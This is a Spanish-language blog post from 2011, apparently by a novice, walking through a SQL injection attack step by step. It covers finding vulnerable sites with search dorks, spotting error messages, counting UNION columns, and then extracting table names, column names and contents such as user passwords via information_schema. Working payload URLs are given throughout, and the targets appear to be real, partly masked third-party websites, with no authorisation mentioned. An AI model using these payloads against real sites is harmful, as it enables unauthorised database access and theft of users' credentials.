lunes, 22 de agosto de 2011

mi primer SQLi, tutorial de una experiencia


Buenas a todos. Este es mi primer pos en este foro despues de la presentacion. Como anillo al dedo me viene, pues este tuto me lo he currado en un dia, mientras hacia SQLi, para no perder detalle.

Empezamos.

1. buscar una web vulnerable, a esta parte no le dedico tiempo, todos conocemos los DORKs, packetstorm, vbulletin.....


2. Como se que esta web es vulnerable??? Facil, la mayoria de las web te devolveran, cuando les modiques la peticion a algo como esto:

Warning: mysql_query() [function.mysql-query]: Access denied for user '*******'@'localhost' (using password: NO) in /home/justonli/public_html/demo_online_store/themes/2/func_util.php on line 3




Warning: mysql_query() [function.mysql-query]: A link to the server could not be established in /home/********/public_html/demo_online_store/themes/2/func_util.php on line 3




Warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in /home/*********/public_html/demo_online_store/themes/2/func_util.php on line 4




Warning: mysql_query() [function.mysql-query]: Access denied for user '***********'@'localhost' (using password: NO) in /home/*********/public_html/demo_online_store/themes/2/index.php on line 39




Warning: mysql_query() [function.mysql-query]: A link to the server could not be established in /home/********/public_html/demo_online_store/themes/2/index.php on line 39




Warning: mysql_fetch_assoc(): supplied argument is not a valid MySQL result resource in /home/*********/public_html/demo_online_store/themes/2/index.php on line 40


En mi caso usé otro DORK. Que como se modifica una peticion?? Pues en la barra de direccion, donde esta la URL, algunas webs ponen algo como:

index.php?id=1
search.php?ID=25


Si nosotros cambiamos en la barra de direccion el 1 o el 25 por algo como -1, ', '2, etc, la web que no esta preparada para recibir estos datos nos devuelve un error como los de arriva. En mi caso le añadi "+and+1=0" (sin comillas).

Ya sabemos cuando es vulnerable.

3. Como aprobecho esa vulneravilidad??? pues hay varias formas, yo explicaare la que use.
Tenemos que encontrar el numero de "Union Columns" que con mi poco ingles supongo que sera "uninon de columnas" :-) esto es el numero de comunlas del la tabla que tiene la base de datos, para entender esto: en la base de datos <deportes> tenemos la tabla <acuaticos> y dentro de esta columna <surf>, que contiene srfing, bodyboard, sky_surfing,... pues en las web que almacenan bd sulen tener algo como <db_usuarios> y dentro la tabal <user> y una columna con el nombre <pass>. Dentro de una bd tendremos muchas tablas y dentro de estas cada una tendrá varias columnas.

En mi caso son 25, para averiguar esto:

http://victima.es/main.php?id=-1
http://victima.es/main.php?id=-1+union+select+1,2--
http://victima.es/main.php?id=-1+union+select+1,2,3--
http://victima.es/main.php?id=-1+union+select+1,2,3,4--
http://victima.es/main.php?id=-1+union+select+1,2,3,4,5......etc

Vamos añadiendo numeros hasta que nos de el resultado de la img.




http://****.it/web1/**********&macrocategoria_cliccata=1004+and+1=0+%20Union%20Select%20%201%20,2%20,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--

y nos muestra unos numeros en la pantalla, en lugar de la web.

En mi caso muestra un "2".

Esta es la posicion donde tenemos que meter las peticiones SQL. Tendremos que sustituir el numero, por la peticion.

Ahora queremos saber el nombre de las tablas. Para esto añadimos en la posicion del numero "2" esto "group_concat%28table_name%29%" y al final de la url "from+information_schema.tables" esto traducido seria algo como: dame el nombre de todas la tablas que tienes en information.schema



http://******.it/web1/master.php**********&macrocategoria=1004&macrocategoria_cliccata=1004+and+1=0+%20Union%20Select%20%201%20,group_concat%28table_name%29%20,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+information_schema.tables


Ya tenenos las tablas, en mi caso estan en Italiano, nos interesa conocer el numero de columnas dentro de la tabla por la cual tenemos curiosidad, para esto cambiamos lo que escribimos antes en el lugar del "2" por "group_concat%28column_name%29%" esta vez preguntamos por las columnas de una tabla, tambien cambiamos el final por "+from+information_schema.columns+where+table_name=%20char%2895,117,116,101,110,116,105%29".

Donde el número "95,117,116,101,110,116,105" es el nombre de la tabla,pero con los caracteres ascii. En internet teneis un monton cuadros y programillas para pasarlo.




Ya casi terminamos, lo que ahora queremos es saber que tenemos en cada columna, la pregunta seria algo como: que hay dentro de la columna pass dentro de la tabla usuarios dentro de la bd_principal? mas o menos. En este caso tenemos que hacer una nueva peticion con: "concat_ws%28char%2858%29,NOMBRE_DE_LA_COLUMNA%29" en el lugar del numero "2" y al final "+from+NOMBRE_DE_LA_TABLA"

http://*****.it/web1/***********&macrocategoria=1004&macrocategoria_cliccata=1004+and+1=0+%20Union%20Select%20%201%20,concat_ws%28char%2858%29,NOMBRE_DE_LA_COLUMNA%29%20,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25+from+NOMBRE_DE_LA_TABLA

No hay comentarios:

Publicar un comentario